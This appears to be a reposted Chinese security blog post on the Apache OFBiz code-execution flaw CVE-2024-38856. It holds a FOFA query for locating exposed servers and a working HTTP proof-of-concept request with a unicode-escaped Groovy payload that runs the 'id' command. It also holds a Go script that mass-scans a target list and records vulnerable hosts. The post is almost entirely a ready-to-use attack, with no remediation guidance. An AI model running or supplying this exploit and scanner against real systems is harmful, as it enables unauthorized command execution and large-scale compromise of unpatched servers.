Rce！Apache OFBiz代码执行(CVE-2024-38856)

FOFA：app="Apache_OFBiz"

0x04 漏洞复现

Poc

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

自动化利用脚本

package main

import (
  "bufio"
  "crypto/tls"
  "fmt"
  "github.com/imroc/req/v3"
  "os"
  "strings"
  "sync"
)

var (
  Payload = "groovyProgram=\\u0074\\u0068\\u0072\\u006f\\u0077\\u0020\\u006e\\u0065\\u0077\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0028\\u0027\\u0069\\u0064\\u0027\\u002e\\u0065\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u0028\\u0029\\u002e\\u0074\\u0065\\u0078\\u0074\\u0029\\u003b"
  wg      sync.WaitGroup
)

func main() {
  file, err := os.Open("ip.txt")
  if err != nil {
    fmt.Println("打开文件失败:", err)
    return
  }
  defer file.Close()

  outFile, err := os.OpenFile("suss.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
  if err != nil {
    fmt.Println("打开文件失败:", err)
    return
  }
  defer outFile.Close()

  scanner := bufio.NewScanner(file)

  for scanner.Scan() {
    wg.Add(1)
    go func(ip string) {
      defer wg.Done()
      urls := []string{ip}
      if !strings.HasPrefix(ip, "http://") && !strings.HasPrefix(ip, "https://") {
        urls = []string{"https://" + ip, "http://" + ip}
      }
      for _, url := range urls {
        client := req.C().SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})
        resp, err := client.SetCommonHeaders(map[string]string{
          "User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
          "Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Content-Type":    "application/x-www-form-urlencoded",
        }).R().SetBody(Payload).Post(url + "/webtools/control/main/ProgramExport")

        if err != nil {
          fmt.Println("请求失败:", err)
          continue
        }
        if resp.IsSuccessState() && strings.Contains(resp.String(), "java.lang.Exception") {
          _, err = outFile.WriteString(url + "\n")
          if err != nil {
            fmt.Println("写入文件失败:", err)
          }
          break
        }
      }
    }(scanner.Text())
  }
  wg.Wait()

  if err := scanner.Err(); err != nil {
    fmt.Println("读取文件失败:", err)
  }
}

加上需要扫描的目标文件，以及输出的文件即可。

原文始发于微信公众号（琴音安全）：Rce！Apache OFBiz代码执行(CVE-2024-38856)